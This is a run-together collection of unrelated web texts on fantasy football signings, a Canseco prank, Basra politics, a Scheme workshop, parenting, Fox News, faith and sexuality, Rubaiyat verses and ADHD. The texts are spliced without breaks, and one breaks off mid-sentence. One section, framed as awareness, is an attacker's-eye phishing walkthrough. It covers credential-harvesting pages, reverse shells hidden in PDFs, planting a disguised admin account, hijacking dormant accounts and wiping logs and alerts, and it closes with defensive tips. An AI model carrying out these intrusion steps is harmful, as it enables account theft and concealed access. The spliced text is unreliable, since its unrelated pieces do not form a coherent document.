Torrey Smith was widely available last year in most fantasy leagues. He was owned in just 8.8 percent of ESPN standard scoring leagues averaging an abysmal 2.5 points a game. I don’t think his move to Philadelphia changes that in 2017. With Alshon Jeffery now on the roster and Jordan Mathews already there, I don’t see Smith making that big of an impact. He might be worth a last minute start depending on matchups, but not worth carrying on your roster.
Mike Glennon – Chicago Bears
Mike Glennon hasn’t really been a fantasy relevant QB in two years. His last season as a starter, he averaged around 17 points a game in standard scoring. while not terrible, it’s not great either. I’m actually pretty high on Glennon next season, which you may know already if you read my other article on Glennon last week. Glennon won’t be going high in drafts next season, if he’s drafted at all, so you should be able to grab him late and stash him. Just don’t rely on him as a starter right away.
Desean Jackson – Tampa Bay Buccaneers
The signing of Desean Jackson takes some of the pressure off Mike Evans. Evans stock will go up and Tampa Bay gains a deep threat. However, for that deep threat to take off, Winston needs to work on his deep ball this offseason. Winston was accurate on just 31.4 percent of his passes over 20 yards, putting him at 26th in the league. I think Jackson is worth a pick but probably around the 7th or 8th round. I see him as a WR2.
Pierre Garcon – San Francisco 49ers
I find this signing interesting. I’m not quite sure why the 49ers gave a 30 year old wide receiver so much money up front. But then again, I’m not a general manager. It’s hard to say how things turn out in San Fran this year with a new head coach and a question mark at the QB position. However, new head coach Kyle Shanahan should know how to capitalize on Garcons strengths and as of now, Garcon is the #1 WR in San Fran. I see Garcon as a low WR2/high WR3 next season.
Brian Hoyer – San Francisco 49ers
Hoyer is an interesting play. Before getting injured, Hoyer was one of the top fantasy quarterbacks last season. Now, he’s headed to San Francisco where he will (most likely) be running Kyle Shanahan’s high octane offense. The big question mark here is if Hoyer will have the weapons around him to succeed. The additions of Garcon and Marquise Goodwin don’t really say much here. Hoyer will be a QB2 at best.
Marquise Goodwin – San Francisco 49ers
Goodwin had a few good games last season, but in ESPN standard leagues, he was started on under 1 percent of rosters. His move to San Francisco doesn’t change anything in my opinion. He’s not worth a roster spot unless you are in a bind and he’s certainly not worth a draft spot.
Dwayne Allen – New England Patriots (Traded)
Allen wasn’t a free agent signing but was traded to New England from Indianapolis. It’s still worth discussing, though, because good tight ends are hard to come by in fantasy football. I’m still unsure how I feel about this trade to be honest. New England already has Gronk there and even with Gronk out, Bennett did not have near the impact I thought he would in most games. He’s a TE2 at best and I would not draft him until the back end of the draft.
Brandin Cooks – New England Patriots (Traded)
Why do GMs ever make any deals with Belichick? You know he knows something you don’t know. I have this guy that I’ve played fantasy football with for years and he’s always on top of everything. Anytime I drop a guy and he picks him up, I worry that I made a huge mistake. This is how I feel about the Patriots. Cooks to the Patriots is interesting in the fantasy sense. I’ve heard some say that they think he will not be great for fantasy next year because there are too many mouths to feed. I, however, feel he will flourish here. I’m picking him up early. Third Round would be perfect for me if I can get him there.
Danny Woodhead – Baltimore Ravens
It’s hard to say how Woodhead will fit in with the Ravens. Especially coming off an injury that kept him sidelined for the majority of last season. However, we do know that Kenneth Dixon, the supposed running back of the future for the Ravens, will be sidelined for the first 4 weeks with a suspension. This raises Woodhead’s stock quite a bit. He’s definitely worth a play if you can score him in the 8-10 round area. Especially in PPR leagues where he really shines.
Kenny Britt – Cleveland Browns
This is an interesting signing. Britt had flashes of brilliance last year but his move to Cleveland doesn’t really help him. Especially if Brock ends up being their QB. He’s worth a draft pick around the middle of the draft. Somewhere around 10-12th round. He’s a WR3 at best.
Robert Woods – Los Angeles Rams
Woods had a few big games last season but they were (very) far and (very) few between. I don’t believe that this changes much in his move to LA. He likely won’t be drafted and will be available off the wire if you are in dire need of a start, but no big news here.
Brandon Marhsall – New York Giants
This is one of the biggest signings strictly in the fantasy side of things. Marshall goes from a dumpster fire in the Jets to a team that was just a key player or two from making a super bowl run. Having Eli as your QB and Beckham playing on the opposite side is going to really help Marshall’s fantasy output and it also raises Beckham’s value. He may slip a bit in the draft, but he’s worthy of a draft pick in the first half of the draft in my opinion. I think he can return to form in New York.
Brock Osweiler – Cleveland Browns (Traded)
Nothing to see here. No really. Leave this guy on the waiver. Don’t even entertain the idea.Looks like Jose Canseco gave everyone the finger.
The former Major League Baseball player took to Twitter at the end of October to announce that he had shot off his middle digit and had it reattached during surgery. Last week, Canseco claimed that the mangled finger fell off during a poker tournament because it had been “very loose” and “smelling really bad.” He also said he would be selling the thumb and gun that shot it off on eBay a few days later.
“Maybe I will make it a package the chrome 45 caliber Remington with the finger both for sale a package deal," he tweeted on Nov. 17.
But despite continuing to post on social media about the plan, Canseco reportedly will not be selling his appendage to the highest bidder—it was all just a prank.
When TMZ reporters followed up about the details of the unique eBay sale, Canseco finally admitted it was all a hoax, the site reported. He said he thought of the whole plan when he saw a fake finger in a Halloween store.
What remains true, NBC Sports reports, is that the prankster did shoot off his finger but had it successfully reconnected with surgery.ERBIL — Basra Provincial Council threatened on Saturday to declare a self-governing region if the central government continues to delay the financial entitlements of the province.
The deputy head of the provincial council, Walid Qaitan, said "Basra province holds the largest share in the budget of the country, more than 80% of its total budget, through oil exports and sea ports and other resources."
"The government of Baghdad has not provided the province with its financial dues for a long time," he added, asserting that this was negatively reflected significantly on the service and strategic projects in the province.
Qaitan said "The province will move towards the declaration of Basra Region to secure its financial rights," pointing out that "the centeral government has cut even petrodollar on which the province largely depends for managing its affairs and service projects."
Basra has suffered from a severe financial crisis since the declaration of austerity measures in the country, affecting many governmental departments to the extent that they have become almost unable to perform their duties in the province.August 23, 2010 — jao
I just came back from the Scheme and Functional Programming Workshop at Montréal, hosted by Marc Feeley and an excellent organisation team. It’s been a fun couple of days putting faces to emails and IRC nicks and attending a handful of pretty interesting talks. Here’s a quick report.
My favourites were the two invited papers. The first day, Olin Shivers presented a pretty cool hack in a delicious talk consisting in actually writing the code he was explaining. Under the title Eager parsing and user interaction with call/cc, he showed us how call/cc is not just an academic toy, but can be put to good use in writing a self-correcting reader for s-expressions on top of the host scheme read (or any other parser, for that matter). He started from the very basics, explaining how input handling and buffering is usually delegated to the terminal driver, which offers a rather dumb, line-oriented service. Wouldn’t it be nice if, as soon as you typed an invalid character (say, a misplaced close paren) the reader complained, before waiting for the whole line to be submitted to read? Well, all we need to do is to implement the input driver in scheme, and he proceeded to show us how. As you know, reading s-expressions is a recursive task, meaning that when you detect invalid input in the middle of a partial s-expression, or want to delete a character, you might find yourself somewhere deep inside a stack of recursive calls and you’ll need to backtrack to a previous checkpoint. That’s an almost canonical use case for call/cc, provided you use it intelligently. Let me tell you that Olin is quite capable of using call/cc as it’s meant to be used, as he immediately demonstrated. I’m skipping the details in the hope that a paper will be available any time soon. As i mentioned, his talk was a beautiful example of live coding: he showed us the skeleton of the implementation and filled it up as he explained how it should work. Olin does know how to write good code, and it was a pleasure (and a lesson) seeing him doing just that. It was all so schemish: a terminal and emacs in the venerable twm: that’s all you need to create beauty.
The second invited talk was by Robby Findler, who gave us a tour of Racket’s contract system, how to use it and the subtleties of implementing it properly. The basic idea dates back to Meyer’s design by contract methodology of the early nineties, and was subsequently explored further by several authors, including Robby. Simple as they sound at first sight, good contracts are not trivial to implement. For instance, it’s vital to assign blame where’s blame is due, and Robby gave examples of how tricky that can get (and how Racket’s contracts do the right thing). Another subtlety arises when you try to write contracts assessing a property of an input data structure (say, you want to ensure that an argument is actually a binary search tree). The problem here is that checking the contract can alter the asymptotic complexity of the wrapped function (e.g., you can go from O(log n) to O(n) in a lookup, an exponential degradation). Racket provides an ingenious fix for that problem, by means of lazy contracts that are checked as the input is traversed by the “real” function.
There was also real-time scheme in Robby’s talk, although in a much more sophisticated way, thanks to Slideshow’s magic, which lets you embed code files and snippets in a presentation, evaluate them and show the results in the same or a new slide. Very elegant. He also used DrRacket a bit during the introductory part of his talk, and i’m starting to understand why some people are so happy with Racket’s IDE: it definitely felt, in his hands, professional and productive. And also kind of fun.
There were also lightning talks. I’m of course biased, but the one i enjoyed most was Andy Wingo’s Guile is OK!, where he showed us how Guile has overcome the problems, perceptual and real, of its first dozen years. For instance, he reminded us how Guile was traditionally a “defmacro scheme”, and he himself a “defmacro guy”… until he studied in earnest Dyvbig’s work and ported his syntax-case implementation to Guile, to become a “syntax-case man” as Guile gained full syntax-case support (i hope i’ll reach that nirvana some day; i still find syntax-case too complex and plagued by unintuitive corner cases (one of them was showed by Aaron Hsu in another lightning talk, where apparently none of us was able to correctly interpret 10 lines of scheme) that make me uneasy; but that’s surely just ignorance on my part). There are many other things that make Guile a respectable citizen of the Scheme Underground, which were also listed in Andy’s talk: i’ll ask him for a PDF, but in the meantime you can just try Guile and see :).
Although this time we didn’t have a talk by Will Clinger, to me it’s always a pleasure to listen to what he has to say, even if only as comments to other people’s talks. For instance, i enjoyed his introduction to Alex Shinn’s R7RS progress report. Will showed us three one dollar coins, of the same size and shape, but different, as he described, in almost everything else. And yet, all three were useful and recognised as (invalid) dollars by the Canadian vending machines at the entrance. He thinks that says something about standards, but he left to us to decide exactly what.
Finally, let me mention that this workshop has alleviated all my quibbles with what i’ve sometimes perceived as a fragmented, almost dysfunctional, community, made up of separate factions following their own path in relative isolation. My feeling during the workshop was nothing of the sort; rather, i’m back with the conviction that there’s much more uniting us that breaking us apart, and that there’s such a thing as a scheme underground ready to take over the world. Some day.This document is written from the attacker’s point of view, showing the mindset behind a phishing hack.
It’s intended to build awareness around computer and online safety. It’s NOT intended for illegal or immoral use.
Phishing attacks have become more carefully crafted and effective. They’re no longer just random mass mailer emails attacks. A phishing email may be a targeted attack or a spear phishing attack. These kinds of attacks have made the headlines for recent large corporate and government hacks.
Scenario: An employee, student or outside user wants hack to a network. The network includes a Gmail email domain and a website domain. Note: This is one example – there’s more than one way to “skin a cat.”
Phases of a Phishing Attack:
1. Enumeration
The hacker users Using Google Hacking, research on the website (checking links, jobs, job titles, email, news, etc.) or HTTPTrack (to download the entire website for later enumeration). He/she learns staff names, positions and email addresses.
2. Scanning
Armed with the basic information, the hacker moves forward. He/she tests the network for other points of attack. The hacker leverages a few of methods to map the network (i.e. Kali Linux, Maltego and find an email to contact to uncover the email server).
3. Gaining Access
The hacker finished enumerating and scanning the network. They have a couple options to gain access inside. A reverse TCP/IP shell in a PDF using Metasploit might be caught by an antivirus or spam filter. They could set up a Evil Twin router and try to Man in the Middle attack users to gain access.
The hacker plays it safe using a simple phishing attack. He/she infiltrates from the IT department. There are a few recent hires who aren’t up to speed on procedures. A phishing email from CTO’s actual email address is sent to the new hires through a program.
The email contains a link to a phishing website that will collect login and passwords. Using any number of options (phone app, website email spoofing, Gmail, etc), it prompts the users to login to a new Google portal. The Social Engineering Toolkit was already running and has sent an email with the server address, masking it with a bitly or tinyurl.
4. Maintaining Access
The hacker gained access to multiple Gmail accounts. He/she begins to test the accounts on the Google domain. The hacker creates a new administrator account based on the naming structure and OU structure to blend in. As a precaution, the hacker seeks and identifies latent accounts. The hacker assumes these accounts are likely either forgotten or not used. He/she changes the password on one account and elevates privileges to admin to maintain access to the network.
The hacker might send out emails to other users containing an exploited file such as a PDF with a reverse shell to extend possible access. No overt exploitation or attacks will occur at this time. If there’s no evidence of detection, the waiting game starts, letting the victim remain in the dark.
Once inside, the hacker begins to make copies of all emails, appointments, contacts, instant messages and files to be sorted and used later.
5. Covering Tracks
Prior to the attack, the attacker will change their MAC address and run the attacking machine through at least one VPN to help conceal identity. They will not deliver a direct attack or any scanning technique, which would be deemed “noisy.”
After the attack, the hacker seeks to cover their tracks. This includes clearing out sent emails, server logs, temp files, etc. The hacker will also look for messages from the email provider alerting possible unauthorized logins. The hacker will delete those emails.
BONUS: Protection for End Users
Talk with end users about protecting themselves against phishing and other attacks. Use these suggestions:
● Do not post information on social media that’s be related to any challenge questions
● Do not use simple passwords, words, etc.
● Do not use common items that pertain to personal life, such as spouse names, pet names, etc.
● Build passwords that are 8 characters or longer with upper and lower case, numbers and special characters.
● Consider 2 factor authentication when possible
● To help with randomization and recall, use shapes instead of spelling words in a password. Shapes tend to be easier to remember than random passwords.
● Be careful of password requests emails. Sites like Google, Microsoft, etc. will not request your current password in an email
● When dealing with emails, especially those pertaining to passwords or logins, verify the source of the email
● For emails containing links, verify the link’s true URL
● If the email contains a file, scan it before opening
● If a compromise is suspected, change the password right away and alert the network admin
● Make sure computers and software are up to date
● Have current antivirus software installed
● Avoid easy to guess challenge questions (including answers that can be skimmed from social media)
● Log out of all sessions, don’t just close the browser
Thanks for reading. I hope this information was useful. Knowledge is key. Be aware, be smart, be careful.Gotta love it when something meant to instigate, instigates. Especially when what it instigates is a conversation of such far-reaching socio-psychological and physiological proportions. Jamie Lynn Grumet, the mom featured on TIME magazine's cover breastfeeding her 3-year-old son, is this year's most controversial subject of a photograph by far. A mom-turned social activist-turned witting attachment parenting advocate and heroine memorialized by the media... her single cover photo sparked heated debates across the nation -- and they have been gorgeous to watch.
Clearly, the idea of breastfeeding a child into toddlerhood has touched a nerve in our country. (Notably, it doesn't spark any debate in other cultures.) It has raised reactive and feisty concerns and simultaneously activated the pro-attachment movement far and wide. Sign me up to add to the fever-pitched overnight education about attachment parenting, helmed by the likes of the beautiful Mayim Bialik, doctors including Dr. Jay Gordon and the cape-wearing heroine, Jamie herself.
There are a multitude of facets to this conversation around attachment parenting that are worthy of being explored. For the purpose of focus and brevity (and because it would be impossible to cover them all in one article), I start with what I think could be one of the first antidotes -- a way to put out part of the fire that burns at the heart of this debate, in my opinion, that is -- to illuminate and outline what the first stages of development in a child's growth toward adulthood are all about.
According to Harville Hendrix's chart of the stages of development, in his book entitled Keeping The Love You Find, the first two stages of a child's life are attachment (which synthesizes the theories of Freud, Erik Erikson, John Bowlby and Harville himself) and exploration (informed by Margaret Mahler and expanded and named by Harville Hendrix). During the attachment stage, dependency reigns and is appropriate. The speed with which we can consistently meet our child's needs for emotional and physical nurturance and sustenance is paramount. He or she learns, through consistent and responsive physical nurturing touch and care, to trust life and to love and to connect: with other, with god, with self... This stage of development tells children that not only can they trust life, but that THEY EXIST, and that it is okay, maybe even great, to be here.
I personally believe that the attachment stage, done well, can circumvent countless addictions later in life because many of these addictions are often a temporary attempt at feeling this sense of connection. If a child's needs during this stage of development are not met, he or she will be staving off a haunting sense of cellular disconnection and loneliness for a lifetime. they will not have effectively internalized a loving nurturance as their own love-style.
The next stage of development is called the exploration stage. It's during this time that a lil' one goes out and explores his or her own world, comes up against the first limits and ultimately learns how to navigate frustration and disappointment in the face of those limits parents set during a socialization period. We, as parents, are asked to guard their exploratory and curious nature while instating boundaries and limits (hopefully delineating between their behavior and their very beingness).
While attachment and exploration are linear, the path from one to the other is also non-linear. There is a definitive overlap, and this overlap is at the heart of today's debates.
The goal of attachment parenting is to provide your child with a deep sense of connectedness and bonding, while the goal of the exploration stage is to provide space for their utter freedom to express their authentic selves while being protected and kept safe. This delicate blend will make for a securely attached, connected and authentically expressed child, who feels free, safe and protected. If these stages are thwarted, a child's ability to navigate adulthood and connect with human beings later in life is at risk. That's the real irony that many people are confused by -- attachment parents believe that the more we tend to our child's needs during those first stages, the MORE independence and interdependence he or she will have later in their life! (Note, we are not tending to their every want.) These are qualities they will need in order to have any kind of intimacy in future relationships. (In her books, Facing Codependence and The Intimacy Factor, Pia Mellody addresses this clearly.) It may be counterintuitive, but it's also a beautifully daunting responsibility to have: to intuitively know whether a child needs space, protection, guidance or nurturing from moment to moment -- not to mention helping them delineate between their needs and wants. It is no small task, this being an attuned parent thing.
Which brings me to breastfeeding. We have years of exhaustive research that extolls the physiological and psychological virtues of breastfeeding, skin-on-skin touch, proximity, object constancy and consistency. Science, psychologists and nutritionists alike support its benefits. Interestingly, for babies, it also provides needed protein, nutrients and antibodies that promote better immune systems.
And it's good for moms as well: (IMPORTANT: This is not meant to hold up the "perfect breastfeeding mother" as a model or add fuel to the already competitive element of breastfeeding that is an undercurrent among mothers -- one of a few shames about the tagline of the TIME mag cover, by the way). I believe that the choice around breastfeeding is one a mother and family can only make for themselves, and I know that the decision not to breastfeed when a woman wants to can be among the greatest heartbreaks of her life and warrants profound empathy.
All in all, it is our intention, our intuition, our life circumstance and our healed hearts that dictate how well we navigate these developmental stages, not our standard of "doing it perfectly."
But the conversation around the pros of breastfeeding, interestingly, is not where most of the attachment parenting debate gets heated. Most attention is paid to the idea of whether a developmental stage should have a rigidly enforced beginning and end. A cookie cutter enforcement timetable presupposes that a child won't be able to wean or shift to the next stage of development in his or her own perfect time. Just as we can't force a child to walk or read, providing this trust and freedom that they'll reach stages when they're ready seems braver and certainly a lot more humane than rigidly forcing a young person to stop doing something before he or she is naturally prepared to do so. Their natural weaning is assured, even when our parental bandwidth and understanding is not.
A toddler doesn't nurse 24/7 the way a newborn does. There is no smothering going on (in the most functional of us breastfeeding mothers). When a child is used to breastfeeding, there is no quicker way to soothe their nervous systems than by cradling them and offering what they have equated with peace and connection since birth. The primary reason for breastfeeding into toddlerhood is to maintain that consistent connection, health and sense of well-being (frankly, in both the child AND the mother) until, optimally, they naturally wean.
There is a delicate cocktail of hormones that are at play in the act of the tender exchange between mom and child. As an example, the contents of the breastmilk changes over time to adapt to the growing child's needs as they get older -- there is no better indication that nature had it planned perfectly.
The debate, impossible to be complete in a short article here (there is the conversation |
’s violence.
“President Trump, I do not know your heart, but what I do know for sure is that you’ve clearly done the math,” Williams said. “You’ve decided that the portion of your base that is absolutely racist is so significant, so valuable that you hesitate ― even in the face of blatant, flagrant hatred ― to risk turning them off and thereby crippling your political stronghold.”
She continued:
You remember when you said your base would stick with you even if you shot someone on Fifth Avenue? I think you are right. I think they will stick with you through anything.... They will even stick with you while you calm their fears and deep-seated anger around their perceived depreciation of the intrinsic value of whiteness in this country. Let’s be honest: That’s what this is all really about.
Despite his proclamation Monday that “racism is evil,” Trump built both his presidential campaign and his real estate business on racism ― a pattern that did not go unnoticed by Williams.
While she acknowledged that Trump might not “personally” be racist, she accused him of being “all too happy to reap the benefits” of racists’ support.
You are uniquely positioned to forcefully call out evil, anti-American domestic terrorists. We certainly cannot change what we fail to acknowledge. Eboni K. Williams, co-host "The Fox News Specialists"
“You even tacitly encourage them with evasive, irresponsible statements,” Williams added.
She concluded her statement with a “personal plea” to Trump:
You are uniquely positioned to forcefully call out evil, anti-American domestic terrorists. We certainly cannot change what we fail to acknowledge. I am asking you to address their anger, their misplaced fears. Let them know this is America, land of opportunity, and there is indeed enough to go around.
Williams’ fiery comments offer a stark contrast to many of her fellow Fox News hosts and contributors.
On Sunday’s “Fox & Friends,” co-host Pete Hegseth praised Trump’s initial response to the Charlottesville clashes on Saturday before comparing white supremacists to Black Lives Matter protesters.Look. No one wants to hear what they can or cannot do with their body.
We came by free will in the hardest way and we feel like we've earned it. "This is my life!"
But, the whole free will thing isn't without its catches, hang-ups, and consequences. We're totally free to choose but some choices are obviously worse than others. We all have that friend that just makes the worst decisions, the one who should definitely just hand over all choices to the nearest halfway decent and well mannered adult in the vicinity, but, they too, get the privilege to choose. That is unless someone around them has decided to "play God" and be a total controlling asshole, be it a dictatorship kind of mass ruling through fear or a relative that disallows your company at their table because of some area of your life that they've played judge and jury on. But that's a much different vein than the one we're going down. We have some swelling veins to discuss. Yes, the ones in your penises and vaginas. The ones in your forehead most likely too.
I think this is important, we should be defining what masturbation is and isn't if we're going to be telling people not to do it. I don't see any biblical standing for the famous mormon underwear or the straight-up terror many put around coming into contact with their own anatomy. If anything, I find the level of nudity in the bible comforting. A naked woman is caught in the middle of adultery and is thrown at Jesus' feet, and Jesus (this is classic Jesus) doesn't even gasp, this guy lets everyone know with all the calm and collect of a true son of God that they have no room to judge -- and he'll just wait right here until they tuck their tails and scamper off. And, in the meantime? He'll just be sitting here, writing in the dust. This is the Jesus version of "Go ahead, make my day." And when they do all drop rock and slink off, he just turns to the woman and tells her to go home and not to do it again. No biggie.
If we're talking about our bodies, it should be mentioned that God created us and was happy with this creation, so He agrees that we're ok to look at. Adam and Eve were meant to be naked before they mussed it all up.
So, then, what's wrong with rubbing one off? If God likes us naked and made us just absolutely perfect, why shouldn't we just massage whatever body part we like in whatever way we like?
If we were still in the garden, we probably could.
Seriously.
Under the fig tree, free as a bird, loving ourselves and all that has been created... But.
We aren't in the garden.
We're here.
And, I mean, even if we ditch the garden comparison (and I'm going to because it's already growing cumbersome) we aren't really looking at the isolated action and living in the moment of pleasure, we're talking masturbation with its common usage and its emotional baggage, and its civilian casualties. Maybe we don't need to take responsibility for the entire porn industry or the exploitation of children on the Internet, and we won't. For the sake of ease and of not being here all night, let's just take your average example, your normal guy or gal hangin' around the loft or countryside b&b on a Friday afternoon with nowhere else to be and some alone time for the next hour or so... What's so sinful about a little personal private afternoon delight?
Well, maybe nothing. Maybe you're laying in bed, neglecting nothing in particular. You aren't missing your child's school play or doing it instead of putting the laundry in the dryer that you promised you would have done (sidebar: loving other people is paramount at all times, per Jesus, so doing anything that would cause you to willfully damage someone can't be without sin).
I just realized we need to talk about what we mean by "sin". Look, sin is an archery term that means "missed the mark." This translation to this specific word, out of all the other words for mistake and horrible terrible deed, was chosen by the earliest Roman and Greek translators and pretty consistently used. They made a direct translation with confidence and consensus from whatever the original word was to this word "sin" which means "missing the mark." Now we would say "not hitting the target." This is really important to know. The connotation of the word has gone through some eras and gene pools and power trippers that made it seem so heavy. But, it's not. You just missed the target. Recognize that you didn't hit the right spot, look at where you should go and focus on it, draw back your bow and try again.
Confession, repentance, reconciliation, done, forgiven.
So, let's keep this in perspective.
Masturbation is one way to miss the target.
So, maybe there is no area where you are causing harm by being absent or not fulfilling a commitment, hurting no one. You are footloose and fancy free. Alright, time to get down. But, wait, why are you masturbating?
Motives are important.
They can be the difference between serving five to 10 or life without parole.
So, why are you masturbating?
Sometimes you are missing the target by acting out symptoms and actions, not being mindful of where they come from and what they are. Sometimes, there is something you are hiding, ignoring, harboring, not confessing and repenting and reconciling. Maybe you are masturbating because you can't bear to have sex with your spouse anymore and this is a release that helps you cope with that. That masturbation is a band aid on the bleeding wound of resentment and unspoken anger. Maybe it's just a way to actually feel good without the unfulfilling and lackluster "love" you've been hardly making. Maybe you aren't healing your relationships and taking accountability. Maybe it's a red flag in troubled waters that will only get worse if it isn't named and addressed, but, maybe you're just on a business trip and you're lonely. This one could possibly scrape by but these are all the situations behind the masturbation. The act is hardly addressed, I guess that's being ignored in the examples we so often hear. So, we'll let the business traveller be for now, he is safe so far.
There can be so many variables.
Masturbation doesn't explicitly mean that you are in the room alone.
And then there is porn.
As much as we justify and get all "everyone is secretly a freak" about it, porn is definitely no victimless crime. Speaking of the industry as a whole, which I realize isn't even fair. It's a weird road for anyone to examine. I just thank Jesus that he gave me the example of the woman at the well. He doesn't judge her and instead kicks it for awhile, shares some water, forgives her, and gives her good news. I can totally do that.
I can also see there is a lot of pain and hurt and sadness in the pornography industry. That doesn't make masturbation a sin though, it makes being cold and cruel to people a sin.
You can get around using porn though, but still be careful. Fantasizing isn't without its own pitfalls. Fantasizing about someone in particular is a sin minefield. You know this if you have ever met a friend's significant other and had that split second of "Hey, they're kind of cute." You can see immediately how so many people ended up on Jerry Springer. Recognize the danger in it as a sure miss, give it up, move on and you'll be fine. Fantasizing about someone is said to be a sin without even committing the acts therein, the bible says so and even if it didn't we would have to agree. Best to just leave that hot neighbor washing her car out of your mind and never picture that guy from 14D.
Maybe you just want to do it because you enjoy it. There's no one around and nowhere to be. Just to make sure it's all good, you're purely focused on the sensation and the appreciation of the functioning and feeling of your perfectly designed earthly body. I don't know. I can't see a big problem with that. Or maybe, you're masturbating with your spouse. There are a lot of possibilities here. It may even just be kinda fun. Maybe you like appreciating each other and experiencing one another this way. An extreme level of intimacy. What's wrong with that?
Hey, from where I'm sitting, abso-freakin-lutely nothing. Go for it.
But obviously this isn't what most people are guilting and shaming, hemming and hawing about. They're mostly talking men, of pretty much all ages. They're in a titter over whether their young son is destined to be a pimp and a showgirl chaser because they found a Hooters brochure in his backpack. Or, on the more serious end, their brother/cousin/dad/boyfriend/husband is addicted to porn and is ruining his life. Again, the act isn't the issue but eventually they mention "the bible says masturbation is a sin." And I ask where, and they go "uh..." because it doesn't.
It says a lot of things that lead to the act, come from it, or go skipping arm in arm with masturbation are sins. Lusting after some other guy's wife is a sin, you're missing the target, you aren't doing the right thing. There is some part about spilling seed they say is a sin. I totally agree, masturbating unto some crops is not the target, try not to do that. Admit it, change it, try again.
The thing is what they're saying is a sin isn't the act of feeling around your unmentionables till you feel oh, so good. When people tell you masturbation is a sin they are telling you that they are scared of why someone is touching themselves and they are worried about what it will mean for the future. They are taking issue with a host of sin that uses an act for harmful means. Masturbation in our common usage is a symptom of some other pain or neglect, some underlying hurt that causes hurt in others. There's a saying "Hurt people hurt people." Meaning, if someone is hurting you it's because they are hurting inside. If someone is masturbating to the point of causing pain in themselves and others, generally messing things up for everyone involved, they're doing it wrong. Something in or around them is going wrong. Masturbation is not a sin, in and of itself. There are certainly times when it serves as the vessel for one depending on the the person behind it.
It's important to remember that if there is ambiguity about whether something is a sin, it probably isn't. God seems to have been clear with people. Love each other, no abusing each other, take care of yourself and those around you.3. And, as the cock crew, those who stood before the Tavern shouted -"Open then the Door! You know how little Time we have to stay, And once departed, may return no more."
42. And lately by the Tavern Door agape, Came shining through the Dusk an Angel Shape, Bearing a Vessel on his Shoulder: and He bid me taste of it: and 'twas - the Grape.
65. Then said Another with a long-drawn sigh, “My Clay with long oblivion is gone dry: But, fill me with your old familiar Juice, Methinks I might recover by-and-by."
23. Ah, make the most of what we yet may spend, before we too into the Dust descend. Dust into Dust and under dust to lie, Sans Wine, sans Song, sans Singer, - and sans End".
69. Indeed the Idols I have loved so long, Have done my Credit in Men's Eye much wrong: Have drown'd my Honour in a shallow Cup, And sold my Reputation for a Song.Photo via Flickr user Tony Webster
Each of Niall Greene's report cards told the same story. He was a good kid, fully capable—but his teachers always added a caveat: "He's easily distracted.
"I found an awful lot of difficulty fitting in," remembers Greene, who was raised in a small village in Northern Ireland, about 18 miles from where he lives today. "I didn't function very well in groups... and I know why that is today."
He knows, but it took him longer than a decade—a decade mired by drugs, booze, doctors, therapists, rehab centers, and a suicide attempt—until, as an adult, he was diagnosed with Attention Deficit-Hyperactivity Disorder (ADHD).
About 25 percent of adults who are treated for alcohol and substance abuse also have ADHD, according to WebMD. The two often go hand-in-hand: Distraction and impulsiveness, both hallmarks of ADHD, can make it easier to fall into patterns of addiction. So, too, can the the stress of dealing with ADHD, which can make doing even simple tasks arduous.
"I see a lot of young women who will tell me that they've been able to gut it out and get through, but it's been because what typically takes someone an hour or two to do at work takes them four hours. They've been getting to work early and staying late," says Dr. Timothy Wilens, Chief of Child Psychiatry at Massachusetts General Hospital.
Wilens authored a 2010 study titled "A Sobering Fact: ADHD Leads to Substance Abuse," which suggested 15 to 25 percent of adults who have substance abuse disorders also have ADHD. Wilens says the risk of substance abuse for people with ADHD is "two to three times higher" than for people without ADHD.
Read: The Anatomy of the Great Adderall Drought
But there's a chicken-or-the-egg question: Do the qualities of ADHD lead to addiction, or does the way ADHD is treated—often with drugs like Adderall and Ritalin—encourage substance abuse?
"This is what ADHD is like: You wake up, everything's fine. And by five o'clock your life is upside down. Once one thing goes wrong, everything goes wrong." — Niall Greene
As a teenager, Greene's behavior wasn't flagged as ADHD. "If I'm not getting enough stimuli, I create my own stimuli," he explains. For him, that came in the form of drink and drugs. From the time he was 15, he'd black out every time he drank; by the time he was in his 20s, he was using cocaine compulsively and would sometimes take five Ecstasy tablets at a time. He's explicit that he wasn't doing this for fun—it was out of a sense of desperation.
At 18, he moved from Northern Ireland to New York, where he "spent every penny on drinking." After that, he bounced from city to city; Liverpool, Galway, Dublin. He couldn't keep a job. Nothing was stable. If he wasn't drinking, he was spending his money on poker machines.
"This is what ADHD is like," he says. "You wake up, everything's fine. And by five o'clock your life is upside down. You have to find a new job. You've been kicked out of your flat. Once one thing goes wrong, everything goes wrong."
After going through a rehab program for his substance abuse, Greene met with a psychiatrist, who thought he might have ADHD. It was the first time someone had suggested this diagnosis to him. Greene found a textbook on the disorder in his town's one bookstore, but he couldn't find any information on how adults deal with the disorder.
That's probably because, until recently, Adult ADHD "wasn't thought to exist," according to Dr. Howard Schubiner, who has also done extensive research into the disorder. "It was thought to be a disorder of children that dissolved when they hit puberty."
Read: Finnish Doctors Are Prescribing Video Games for ADHD
The Centers for Disease Control and Prevention estimates that 6.4 million children ages four to 17 have been diagnosed with ADHD in the United States—but then those kids grow up, and doctors are realizing that ADHD does not go away with age. Some 4.4 percent of adults in America struggle with ADHD, which, in 2000, was estimated to cost $31.6 billion in healthcare costs and lost work hours.
The problem, though, is that ADHD manifests in different ways in adulthood. Hyperactivity, one of the qualities associated with the disorder, does seem to lessen as children get older. But inattention doesn't improve. "It's still there, but kind of internalized," Schubiner says. One of the ways it shows up in adults is through addiction. In a 2005 study, Schubiner noted that 20 to 40 percent of adults with ADHD had a history of substance abuse.
Research shows that people with ADHD may turn to drugs as a way of making up for the deficit of dopamine in their brains. But Schubiner and other researchers have also questioned whether common treatments for ADHD—stimulants like Adderall—lead patients toward a pattern of substance abuse.
So far, this doesn't seem to be the case. "There's very little evidence that treating ADHD increases the risk for cigarette or substance abuse—it reduces the risk," says Wilens, pointing to a study of 25,000 ADHD patients that showed a noticeable downturn in criminal behavior (including drug-related offenses) for those taking medications to treat the disorder. "The signals seem to say if you continue on your medicine, there probably is a continued reduction in the risk [of substance abuse]," Wilens says. "At the very least, it doesn't worsen the risk."
"I think everybody in the field agrees, if you can get a toehold on the addiction, you should think about treating the ADHD relatively quickly," he says. "If you treat ADHD aggressively and you monitor for substance abuse, you're going to reduce [delinquency]."
Read: The Brain-Hacking Alternative to Ritalin
After Greene was diagnosed with ADHD and completed a subsequent treatment program, he finally found stability. But even today, he says, Adult ADHD still comes with stigma. "It's like the black sheep of mental health conditions," he says. Last year, the Daily Mail ran an editorial from a doctor decrying the existence of ADHD altogether.
